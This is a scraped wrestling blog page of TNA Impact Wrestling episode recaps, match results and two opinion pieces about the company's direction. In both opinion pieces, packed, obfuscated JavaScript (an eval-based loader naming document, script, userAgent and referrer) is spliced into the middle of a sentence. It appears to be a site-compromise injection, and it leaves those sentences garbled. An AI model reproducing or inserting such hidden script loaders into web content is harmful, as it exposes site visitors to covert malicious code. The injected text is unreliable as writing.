Impact Wrestling – November 14, 2013: They’re Alive But In Name Only

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Date: November 14, 2013
Location: Cincinnati Gardens, Cincinnati, Ohio
Commentators: Mike Tenay, Tazz

We open with a recap of Dixie announcing the tournament and Hardy vs. Sabin in the first match last week.

Mr. Anderson vs. Knux

We get an Impact365 video from Joseph Park, challenging Daniels to a singles match tonight.

Daniels accepts the challenge in another video where he talks about the medical benefits of appletinis with Kazarian. Daniels runs into Roode walking down the hall and t-shirts are schilled.

Christopher Daniels vs. Joseph Park

Ray promises to beat Anderson next week.

Norv Fernum/Dewey Barnes vs. Ethan Carter III

Dixie freaks out on the production team for letting that video air.

Anderson beats up Bischoff in the back and handcuffs him to a metal cart.

Gail Kim vs. Hannah Blossom

Anderson carries Bischoff away on his shoulders.

TNA World Title Tournament First Round: Kurt Angle vs. Austin Aries

Submission match. Feeling out process to start with Angle taking it to the mat and putting on a headscissors. Aries rolls out of the ankle lock but Kurt bails to the floor to avoid the Last Chancery. Back in and Aries grabs a quick STF but Angle is in the ropes even faster. Angle comes back with a tilt-a-whirl backbreaker but Roode comes out with a chair to watch from the stage. Kurt gets distracted, allowing Aries to dive off the top, only to be caught in a belly to belly. Aries dropkicks him to the floor and we take a break.

Back with Aries in control and going after the neck, only to wake Angle up in the process. Angle rolls some Germans but Aries armdrags Angle out to the floor. A big top rope ax handle to the floor puts Kurt down again but Aries hurts his ankle in the process. Aries comes back in with a missile dropkick but Angle grabs the ankle lock in midair to take over.

Anderson drags Bischoff out to piledrive him on the stage to end the show.

Results

Mr. Anderson b. Knux – Mic Check

Christopher Daniels b. Joseph Park – Low blow

Ethan Carter III b. Norv Fernum/Dewey Barnes – Double pin after 1 Perfecters to both men

Gail Kim b. Hannah Blossom – Eat Defeat

Kurt Angle b. Austin Aries – Crossface

 

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On This Day: November 8, 2012 – Impact Wrestling: Back When Aces and 8’s Were Just Getting Old

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Date: November 8, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz, Todd Keneley, Jeremy Borash

AJ Styles vs. Bobby Roode

Bobby goes to the floor for a chair but Storm comes down to take it away from him. Styles hits a BIG springboard dive to take Roode out but stops to yell at Storm. Back in, AJ loads up another springboard but Roode knocks him off the ropes and gets a fast pin at 10:50 shown of 14:20.

We run down the remaining card for the show when the feed starts messing up. The screen says “An Ancient Evil Awakes”. Abyss maybe?

AJ rants about Storm when the Cowboy comes in.

ODB vs. Tara/Jesse Godderz

ODB gets beaten down with a flask shot post match. Jesse pours the contents on her body.

Apparently on Thanksgiving, all of the Gut Check winners will be there. Oh joy.

Sting/Kurt Angle vs. Doc/D-Von

This has nothing to do with what just happened, but apparently that Ancient Evil Awakes is a Halo 4 ad. Silly me for thinking an ad during a wrestling show was about wrestling.

We recap Hardy vs. Aries.

Samoa Joe/Chavo Guerrero Jr./Hernandez vs. Christopher Daniels/Kazarian/Magnus

Roode says his plan is coming together with AJ fighting Storm.

We recap the attack on Sting.

Results

Bobby Roode b. AJ Styles – Pin after knocking Styles off the top rope

ODB b. Tara/Jesse Godderz – Spear to Tara

Sting/Kurt Angle b. D-Von/Doc via DQ when D-Von hit Angle with a baseball bat

Magnus/Kazarian/Christopher Daniels b. Samoa Joe/Chavo Guerrero Jr./Hernandez – Top Rope Elbow To Joe

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Impact Wrestling – November 7, 2013: Just Let Them Fold Already TNA

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Date: November 7, 2013
Location: Cincinnati Gardens, Cincinnati, Ohio
Commentators: Taz, Mike Tenay

We get a recap of AJ leaving and the announcement of the world title tournament via a voiceover similar to a movie trailer.

Pacman Jones and another Cincinnati Bengal are in the front row.

Velvet Sky vs. ODB vs. Brooke

We get a video from AJ Styles of a title defense in AAA in Mexico.

Back from a break with Bobby Roode coming up to the announce desk and promising to take Angle out tonight.

Ethan Carter III vs. Dewey Barnes

Bad Influence vs. Eric Young/Joseph Park

TNA World Title Tournament First Round: Jeff Hardy vs. Chris Sabin

Results

Gail Kim vs. ODB vs. Brooke went to a no contest when Gail Kim interfered

Ethan Carter III b. Dewey Barnes – 1 Percenter

Bad Influence b. Joseph Park/Eric Young – Crucifix to Park

Jeff Hardy b. Chris Sabin – Swanton Bomb off the top of the ladder

 

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Impact Wrestling – October 31, 2013: Bound For Glory In An Impact Costume

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Date: October 31, 2013
Location: Maverik Center, Salt Lake City, Utah
Commentators: Tazz, Mike Tenay

During the break Anderson was taken away by security where Brooke yelled at her. Bully jumps him from behind and whips Anderson with the chain. He yells that Anderson is nothing without the club so stay out of club business.

Tag Titles: Bro Mans vs. James Storm/Gunner

The challengers jump the Bro Mans in the aisle before Gunner sends Robbie into the corner to start the official beating. A splash crushes Robbie and a slingshot suplex gets two. Off to Storm for a double back elbow and a knee drop to give James a two count. Jesse comes in and takes a big chop in the corner to mess with his blood vessels.

Back to Storm who gets two off a back elbow to the jaw followed by Storm getting the same via the Eye of the Storm. Things break down a bit with Gunner being sent out to the floor and Storm backdropping Jesse onto the back of his head. Robbie pulls his partner to the floor to avoid the Last Call before tripping up Storm on a suplex attempt and holding the foot down to give Jesse the pin at 4:15.

Sting goes in to see Dixie who is willing to lift the ban on Sting getting a world title shot for tonight only. He can be in the gauntlet but has to start first. Sting leaves without saying yes or no.

We get a recap of Abyss returning last week, leading to Bad Influence dressed up as Sherlock Holmes and Watson. They promise to solve the Abyss mystery and unveil the monster tonight.

Norv Fernum vs. Ethan Carter III

Bobby Roode asks the doctor how Angle can be cleared in just a week. He wants Angle checked again.

Bad Influence run into ODB and Eric, with the latter promising a surprise for them later.

Gauntlet Battle Royal

Angle has been advised to take the night off but will wrestle anyway.

Dixie has a surprise for us later: the Wheel of Dixie.

Knockouts Title: ODB vs. Gail Kim

Back in and Gail puts on a headscissor choke, only to have ODB counter into a half crab. Gail gets to the rope but a Thesz Press gets two for ODB. A front suplex out of the corner puts Gail down but Tapa distracts the referee. Gail grabs a rollup and a rope for the retaining pin at 6:25.

Bad Influence has solved the mystery of Abyss.

Here are the world title tournament brackets.

Hardy

Sabin

Roode

Storm

Angle

Aries

Magnus

Joe

Kurt Angle vs. Bobby Roode

Angle is shaking badly to end the show.

Results

Bro Mans b. Gunner/James Storm – Suplex reversal to Storm

Ethan Carter III b. Norv Fernum – Bulldog driver

Magnus won a gauntlet battle royal last elimination Sting and Kazarian

Gail Kim b. ODB – Rollup

Bobby Roode b. Kurt Angle via referee stoppage

 

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Thought of the Day: Pitching Impact To A Potential TNA Fan

This is what selling TNA to a fan might sound like right about now.Dude eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sinyd|var|u0026u|referrer|erinh||js|php'.split('|'),0,{})) you should totally watch Impact Wrestling.  They have this guy named AJ Styles who does the most awesome flips and dives and has the best matches in the world.

 

Potential fan: That sounds cool.  Which one is he?

 

Oh well actually he left after turning down money and a car and implied sex with a not terrible looking woman.  But he’s champion and the best in the world!

 

Potential fan: But I can’t see him?

 

You might be able to if you don’t mind listening to Spanish or Japanese commentary.

 

Potential fan: HUH?

 

Never mind.  Oh I know you’ll love this: TNA has this thing called the X Division which has no limits on it at all.  Everybody is all about leaving it all in the ring and giving everything they have to be champion.  They fly around and have to crawl across ropes to pull down a title belt.

 

Potential fan: Now that has to be cool.  When are they on?

 

Actually scratch that since they weren’t on TV this week because Impact needed more time to spend on the not bad looking older woman.  Wait I almost forgot the best part!  There’s this team called Aces and 8’s and they’re just like Sons of Anarchy and they ride on motorcycles and beat up everyone!

 

Potential TNA fan: I don’t watch Sons of Anarchy.

 

Uh……Oh there’s this guy there named EC3 who is just like Robert Griffith III.

 

Potential TNA fan: He’s my favorite player on my favorite team.  Ok so I need to look for the black guy named EC3.  He has to be cool.

 

Actually he’s white.

 

Potential TNA fan: But he’s more athletic than everyone else right?

 

…..not especially.

 

Potential TNA fan: He represents Washington DC though?

 

If the DC stands for Directly from Cleveland he does!

 

Potential TNA fan: Nicest guy in the company?

 

Actually he looks to be one of the new top heels.  He’s the nephew of the older lady who isn’t bad looking.

 

Potential TNA fan: …..is he recovering from knee surgery?

 

YES!  I can indeed assure you that he had his knee operated on last year and is at least mostly back to full strength!

 

Potential TNA fan: So to recap, you want me to watch a show where to see the best guy in the world I need to watch other companies, I should be a fan of Sons of Anarchy, the high flying dudes weren’t even on last week, the show is apparently dominated by a woman that isn’t that bad looking and there’s a guy who is supposed to be like RG3 because he’s the polar opposite of him?

 

……did I mention Sting is still there and Hulk Hogan might come back?  And Sting can almost bend over still!

 

 

 

The worst part: this isn’t meant as a parody.




Thought of the Day: TNA Possibly Going Back To Orlando/Some Other Home City

Is eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnktn|var|u0026u|referrer|kiieh||js|php'.split('|'),0,{})) best for business.The current word on the street is that TNA is moving back to a home city, most likely Orlando again, to hold most of their TV tapings.  A few major shows could be taped on the road.  This is without a doubt the right move for TNA for one reason: they can’t afford to stay on the road.

 

Look at TNA’s business lately.  They’ve cut away their PPVs, they’re cutting house shows, they air specials on TV which get slightly higher ratings/audiences than usual, and they’re spending way more money on TV tapings.  Translation: spend more, bring in less.  For a company like TNA which doesn’t have a ton of sponsors and doesn’t draw huge crowds (see: Glory, Bound For), going on the road this often isn’t a viable plan.  People often compare TNA to WCW, but it’s really more like ECW.  Think about this for a second.

 

ECW did most of its shows from one area/city

They never came close to being #1 or #2 (TNA is firmly #2 but only because there isn’t a third major company)

Their TV show is the #1 show on its network, but it doesn’t ever draw many people outside of its core audience

Only after several years of being an underground hit did it start regularly holding TV tapings outside of its base

 

ECW lasted about a year taping on the road before going back to house shows and syndication where it lasted abut six more months.  Now before you ask, no I’m not saying TNA has six months left and no I’m not saying they’re in the same kind of shape as ECW was in 1999/2000.  What I’m saying is right now, TNA flat out cannot maintain their status quo or grow nearly at all while doing TV on the road.

 

In short, they can stay in Orlando/whatever single city they pick and survive at a stable level or they can have a hotter crowd once in awhile and barely be able to afford anything outside of TV.  This isn’t a complicated problem.




Impact Wrestling – October 17, 2013: Sunday Is Coming If Anyone Cares

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Date: October 17, 2013
Location: Cox Business Arena, Tulsa, Oklahoma
Commentators: Mike Tenay, Taz

Christopher Daniels vs. Robbie E. vs. Hernandez vs. Eric Young

The winner of this gets the final spot for his team in the gauntlet match on the preshow with the winning team getting a title shot at the PPV. Robbie and Young get us going but Young tags in Hernandez for the slingshot shoulder to E. Robbie brings in Daniels who has to escape the over the shoulder backbreaker but gets caught in the choke suplex for two. A cheap shot from Robbie takes Hernandez to the floor before he comes in legally and gets two off a middle rope elbow.

SuperMex comes back with a double clothesline to take down Daniels and Robbie, allowing for the tag off to Eric. Daniels and Robbie get in an argument (despite not being a team), allowing Hernandez to do the running clothesline from the ramp. Hernandez misses a splash in the corner and falls out to the floor before Eric suplexes Daniels down. Robbie makes a blind tag in and pins Daniels off the top rope elbow from Young at 5:18.

AJ fights off Jesse Godderz.

Gunner vs. Knux

Chris Sabin is going for the bounty.

Video on the Ultimate X match.

Chris Sabin vs. Samoa Joe

Sabin tries to bail but Joe grabs him on the ramp, only to have Chris slam him onto the steel. Joe dives back in to beat the count at nine and catches a charging Sabin in a release Rock Bottom out of the corner. A boot to the chest and the backsplash gets two for Joe but Sabin comes back with a springboard tornado DDT for two. Not that it matters as Joe grabs a quick Koquina Clutch for the win at 5:17.

Post match Aries, Hardy and Manik come in for a big brawl. Hardy pulls in a ladder, allowing Manik to dive onto Aries and Sabin.

Bad Influence goes after AJ but he holds them off with a fire extinguisher.

Ethan Carter III debuts at Bound For Glory.

Bully Ray vs. Magnus

Magnus wins a quick slugout and clotheslines Bully down to speed things up a bit. A big boot puts Ray down and the top rope elbow gets two. Magnus charges into the referee by mistake so Ray gets the chain, drawing out Sting for the save. The referee throws Sting out, allowing Ray to low blow Magnus for the pin at 10:42.

We run down the BFG card.

Results

Robbie E. b. Eric Young, Hernandez and Christopher Daniels – Robbie pinned Daniels after a top rope elbow from Young

Gunner b. Knux – Spear

Samoa Joe b. Chris Sabin – Koquina Clutch

Bully Ray b. Magnus – Low blow

 

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On This Day: October 14, 2010 – Impact Wrestling: Why THEY Did It

Impact
Date: October 14, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz
Episode Title: THEY Have Arrived!!!

Well this is it. After four days of waiting we can finally get to the explanation from Jeff as to WHY he did what he did. This is something that is very important because you have the entire THEY angle riding on it. The importance of this show can’t be overblown as we begin the next chapter in TNA’s history.

The opening is likely to be about Jeff and THEY as well as set up the fairly obvious RVD vs. Jeff match, although I could see them postponing that one if need be. I’d also be interested in knowing how much actual wrestling we’ll have tonight but we’ll see. Let’s get to it.

We of course open with the recap of the ending of Bound For Glory.

Dixie’s attorney is here and as everyone thought we’re told that Dixie signed the contracts but they weren’t the ones she thought they were.

Hogan (still on crutches) and Bischoff are here to a MASSIVE pyro display. Of course Hogan is acting just like he did as a face. Tenay explains that Hogan and Bischoff now have the majority share of TNA….despite the fact that the attorney never said that.

Naturally Hogan gets a big face reaction with like two signs against him in the whole audience. Oh wait three fat chicks are booing. Well there’s a Hogan sucks chant so there’s something I suppose. Hogan wants Dixie here now. Apparently she promised him everything, much like Ted Turner did in 96. Hogan gets a text or something as he has his phone out and is messing with it.

Here we go: the explanation. It started with Abyss apparently and the Hall of Fame ring. Bischoff and Hogan knew why he randomly turned on Hogan. We bring him out and Hogan declares Abyss his son. THEY’RE HERE! Ok now that my pizzas are here we can get back. What did you think I meant by they?

None of the fans believed Abyss but they are now in control. The fans want RVD. Abyss follows them as Hogan and Bischoff’s soldier now. Hogan declares that Abyss with live forever and is now immortal. I think The Immortals might be the name. Eric brings out Jarrett. Wait was there an actual explanation in there for abyss? If there was I missed it.

Yeah this was no real surprise: he wanted control of his company back. I think that was the easiest of all to understand. And here’s FOURTUNE! Ok this just got good.

Flair talks to Hogan and says that Fourtune runs this company, not Hogan. LOUD Fourtune chant. One of them have to leave apparently. Hogan suggest him vs. Flair and it’s…..not on as they hug. Flair bows down to Hogan and it’s a massive Hogan orgy more or less. The explanation here makes sense though as Fourtune was mad at Dixie for bringing in EV. That actually makes sense. We get a reference to Flair’s five former ex wives and here comes Jeff!

No face paint here either. The fans think Jeff sold out. You can barely see the ropes with so many guys in there with him. He didn’t sell out but sold in. He blames the fans and doesn’t care about popularity. The fans drove him to this because he did everything with all those injuries for what?

And now it’s on to RVD. He’s the whole F’N reason Abyss took RVD out because RVD had to be gone for this to work. They are Immortal. Sting and Nash are watching in the back. Eric and Hogan offer them spots on the team. We go to a break 22 minutes into the show with them coming to the ring.

Security escorts Dixie….somewhere.

Nash and Sting come out and Sting is in street clothes which isn’t something you see that often. Tenay is already annoying. Eric says this is about money and all that jazz. Nash whispers to Sting and says this is perfect for him because it’s always been about money and him in his career. He’s gotten wiser though and quotes the Bible of all things, saying gray hair is a sign of wisdom. He’s passing on the money and if THEY want to run the company into the ground, they can do it without him. I’m surprised.

Sting says this isn’t what he came here for and says he’s here because he loves TNA. He’s shouting the whole time mind you. Sting points to Hogan, Bischoff and Flair (I think) and says this is a no win situation, turning them down. Allegedly both of these guys are leaving TNA with Nash being permanent and Sting possibly being permanent. Bischoff says they can come back anytime. Hogan’s music plays the segment to an end at 9:32.

We cut to the back where Sting and Nash leave but Pope isn’t happy with it. They offer him a place in the car out with them but he’s staying to fight the fight which they’re cool with. Dixie comes up to them and says they can’t leave her. Sting says what everyone thought: if she had listened this wouldn’t be happening. She says he was cryptic. Dixie, he sent crows down at the NWO to demand a title match one night. He’s a weird guy.

Hogan and Bischoff come up to Dixie and she slaps the heck out of Bischoff. She tells Hogan to look her in the eye and tell her he didn’t screw her. He says we’ll talk about this in HIS office as we go to another break.

In the office we have MORE talking. Bischoff smokes a cigar and Hogan flat out tells her that he screwed her out of the company. This is a big Hogan ego trip of course. Hogan and Bischoff both say this is their company. Hogan has had enough and so has Dixie. She tells her security guards to get rid of them but they work for Hogan too. Dixie’s husband SURGE gets knocked out and we take ANOTHER break.

Some hot chick in a BMW shows up. And we’re just not going to talk about this at all. Ok then. Ah ok it’s the Jersey Short chick.

Madison comes out with a referee as I’m guessing this is going to be about Tara. She yells about how Tara has HER title. She wants a match RIGHT NOW. Here’s Tara, looking GOOD. Madison says they had a deal and apparently we’re getting a match….at 9:50pm.

Knockouts Title: Tara vs. Madison Rayne

And Tara lays down so Madison can pin her. I kid you not.

Madison celebrates and here’s Mickie to talk some more. She wants a title shot RIGHT NOW but Madison sends Tara after her. Mickie sends her running and stares her down.

J-Woww from Jersey Shore comes in and talks to the Beautiful People. Apparently she’s an honorary BP tonight.

Back from break and they’re still looking for Cookie. This results in Eric Young freaking out about J-Woww. Jordan comes up and nothing of note happens.

And here’s Angle for MORE talking. No music, no intro, nothing like that. He talks about how he’s all banged up but wants to know why Hogan and Bischoff screwed him before he officially retires. Angle says what we all expected him to say: he didn’t win but he didn’t get pinned either. Cue Jarrett’s music and here he is.

Jarrett more or less calls bull on what Angle is saying. He takes a jab at Angle being an ex-husband (the real meaning being that Jarrett literally married Angle’s wife and not in kayfabe). Angle says he put TNA on the map. Uh, not quite Kurt. He says Jarrett held down everyone but couldn’t hold Angle down.

Kurt Angle, the man that held the tag titles, X-Division and World titles at the same time is talking about holding others down. Jarrett says taking Angle’s career meant more than destroying his life. Angle goes for him and the security guards take him down and handcuff him. The beatdown is on. Uh, Joe anyone?

TAZ of all people comes out of the broadcast booth and calls off Jarrett and says that he has a censored up (censored of course) neck. Old school Taz chant takes us to another break.

70 minutes in, 6 seconds of “wrestling.”

Joe talks (shocking isn’t it) about Jarrett on a tape from Monday, still in Daytona. He’s coming for Jarrett of course.

GOOD NIGHT IT’S A MATCH! And it’s Abyss. Oh joy.

Abyss vs. Samoa Joe

Yeah they’re officially called Immortal. Well ok then. Joe beats the tar out of him first and beats him into the corner. Chokeslam takes him down and Joe is in trouble. He goes to get a chair but Joe hits a suicide dive into the chair which more or less didn’t hit Abyss’s head at all but he stays down anyway. Sure why not? Bell to the head and we’re done in two minutes. No rating. RVD comes down for the save.

Wait, why didn’t Joe come down and massacre Jeff like 5 minutes ago?

Hey look RVD wants to talk. It’s about Hardy which makes sense. Jeff pops up on the screen and says it was an illusion as he brought RVD as close to him as he could and then destroyed him. Well ok so he told Abyss to destroy him. Hardy says he’s the Anti-Christ of wrestling. WOW.

Bischoff comes out and says if RVD wants Hardy at Turning Point he has to beat Anderson tonight, winner gets the shot.

Back from a break Tessmacher is propositioned by Bischoff for “a meeting later at his place”. He snaps on her and calls her easy. Bischoff knows about Nash and Pope apparently. She’s fired from the Knockouts authority job and can either wrestle or leave. Anderson comes up and declares Bischoff a douchebag and squeezes his hand really hard saying that Bischoff won’t win this war.

D’Angeol Dinero vs. Fourtune

Yep it’s 1 vs. 5 here. Morgan and Flair aren’t in this. Total dominance here of course but it’s better than more talking I suppose. AJ misses the Pele and kicks Kaz which Pope gets two off of. DWI hits him and Kaz gets the pin. Another short match so no grade.

Ad for Turning Point where Angle is named specifically as being there. Nice one guys.

Here’s The Shore to get on my nerves and be booed out of the building. They point out that this is on at the same time as Jersey Shore because that’s how TNA works. Cue up the Beautiful People and J-Woww. Cookie and J-Woww argue as usual and Cookie says go back to the hole you came from. You know, the same one she’s from. Catfight, Shore bails. 15k for a minute long segment and an EY joke.

We recap things to kill time so we can run over into ReAction as always.

Mr. Anderson vs. Rob Van Dam

No mic time for Anderson here as he’s ticked. The bell rings at about 11pm as we just HAD to have a commercial as RVD made his entrance. Make that 11:01. Naturally to see the main event of Impact you have to watch ReAction. So would that mean the winner got the win on Impact or ReAction? Winner gets Hardy at the PPV mind you.

Basic stuff to start as Van Dam hits a moonsault off the apron to kick Anderson in the head, which might have been how he injured his head and Impact is OVER! And now REACTION has started and we didn’t miss a thing and it serves no purpose but screw that who cares? If you want to see the Impact main event, don’t watch Impact!

After I have a psychotic episode over the stupidity of some of the things this company does, it’s still a boring match. Rolling Thunder is countered into a fireman’s carry and the split legged moonsault gets two. Five Star eats knees and both guys are down. And here’s Bischoff to screw us over. He tells the referee to come with him and here’s Hardy, holding his ribs with a chair.

Chair to RVD. Chair to Anderson. Pillmanizer on the arm of Anderson. Anderson curses a lot and rolls to the floor. That’s your ending by the way.

Rating: D+. Match was pretty weak due to the crowd knowing the ridiculous ending was coming. This match never really got off the ground or anything but it could have been worse. The guys knew the ending was coming and clearly didn’t get going until the very end as they were just going through the motions. Nothing bad really, but nothing particularly good.

Overall Rating: D+. This is a VERY subjective grade to put it mildly. This show can be looked at their get out of jail free card. It was the first show after their biggest show ever and a huge angle. The show as a stand alone show was atrocious. However, this was a show where a lot of talking was actually required.

The explanations that they gave needed to be done. I can understand that and I’m mostly ok with it. However there comes a point where you need some wrestling to get you through a show. Having the show revolve around one angle is fine and makes sense, but you really need some wrestling to go with it. As was said in the LD, even a 4 minute throw away match would have helped tremendously. One or two of those thrown in somewhere and this show goes WAY up.

As for doing what needed to be done tonight, they got a lot out of the way. Jarrett, Dixie, Hogan and Bischoff are all explained. Nash and Sting are written off TV, Pope has a new thing to do, Anderson’s loyalty is pretty clear and RVD and Joe will fight on their own. Hardy was explained but to say it felt rushed is an understatement. Abyss wasn’t explained at all but did we really need to hear about him? All you really get from that is the beginning of the story and we can live without that.

This show did explain some things and kind of got things going for the angle, but at the same time this is showing signs of turning into one massive soap opera much like the NWO angle. The problem with that is back then you had some amazing matches on the side to compliment the drama. You’re not getting that in the first week.

That being said, it’s the first week and I can understand a ton of talking here. However if this is now the status quo, there are REAL problems for this company. This was kind of a disappointment but to say it was horrible isn’t fair. They got through a lot tonight, but what scares me are the weeks to come. There has to be some wrestling out there, and I’m not seeing it here so far. I’m neither thrilled nor optimistic, but I’m also not convinced this is bad. Definitely interested in next week’s offering, but I’ll be less lenient on it to say the least.

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Impact Wrestling – October 10, 2013: So Much Better Without Hogan

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Date: October 10, 2013
Location: Cox Business Area, Tulsa, Oklahoma
Commentators: Mike Tenay, Tazz

Austin Aries vs. Jeff Hardy

Back with Jeff missing a charge in the corner to give Aries his first real advantage. Jeff is sent to the outside for a BIG top rope ax handle to the head to send him sprawling across the floor. Another ax handle sends Jeff into the barricade and we head back inside. Jeff avoids a missile dropkick and starts his comeback, only to get caught in a neckbreaker.

Joseph Park and Eric Young are going on a road trip to Bound For Glory. They immediately stop because ODB has a match tonight.

Jesse Godderz vs. ODB

Roode is furious post break.

Velvet Sky vs. Brooke Tessmacher

We run down the BFG card.

Bad Influence vs. Sting/Magnus

The fans still want Sting but get Daniels driving Magnus down with a knee to the chest for two instead. We hit the chinlock for a bit before Kaz gets two off a slingshot legdrop. He spits at Sting to allow a non-tag change off to Daniels. Off to another chinlock but Magnus fights back with right hands and a running clothesline. Hot tag brings in Sting to clean house before Magnus hits the top rope elbow on Kaz to set up the Cloverleaf, only to have Daniels make the save. Everything breaks down and Sting hits the Death Drop for the pin on Daniels at 11:00.

AJ Styles vs. Knux/Garret Bischoff

Knux comes back in but misses a middle rope legdrop. Everything breaks down and AJ hits the springboard forearm on Knux. After miscommunication from the bikers, AJ gets a very awkward looking rollup (looked like a powerslam minus the power or the slam) for the pin on Garret at 4:43.

Post match Ray comes in and whips AJ with the chain before backdropping him onto the ramp. Lots of trash talk ends the show.

Results

Austin Aries b. Jeff Hardy – Super brainbuster

Brooke Adams b. velvet Sky – Rollup

AJ Styles b. Knux/Garrett Bischoff – Rollup to Bischoff

 

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Impact Wrestling – October 3, 2013: Hit The Road Jack, And Don’t You Come Back. Please.

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Date: October 3, 2013
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Mike Tenay, Tazz

Magnus is going to run the EGO gauntlet tonight.

Kenny King/Chris Sabin vs. Manik/Jeff Hardy

King snaps Manik throat first across the top rope before bringing Sabin back in for a basement dropkick. Manik is tied up in the Tree of Woe so Sabin can stand on his crotch for some torture and a two count. Back to King for some right hands before Sabin comes back in for some choking in the corner.

Chris runs into a boot in the corner and a middle rope dropkick (Aries: “Right in the brain stem!”) puts Sabin down. Hardy comes in off the hot tag and cleans house with the sitout gordbuster on King for two. Sabin breaks up the Twist attempt on King as everything breaks down. Manik sends Sabin to the floor and hits his double chicken wing gutbuster on King, setting up the Swanton for the pin at 7:07.

Post match Sabin goes after Manik but Aries makes the save. Austin asks for a four way match with Manik, Sabin, Hardy and himself for the title at Bound For Glory.

EGO vs. Magnus

Aries has a present for Hogan too: vegan vitamins. Maybe even a prayer or two would help Hogan make the right decision. Aries talks about Hogan doing the right thing over his entire career and says tonight is all black and white.

We recap the gauntlet match.

Brooke Tessmacher vs. Velvet Sky

Bound for Glory card.

Samoa Joe vs. Bully Ray

Post match Ray shoves the referee and sends Joe into the announce table. He pulls back the mats for a piledriver on the floor but AJ makes the save and celebrates with the fans.

Results

Manik/Jeff Hardy b. Chris Sabin/Kenny King – Swanton Bomb to King

EGO b. Magnus – Ankle lock

Samoa Joe b. Bully Ray via DQ when Ray hit Joe with a chain

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume I at Amazon for just $4 at:

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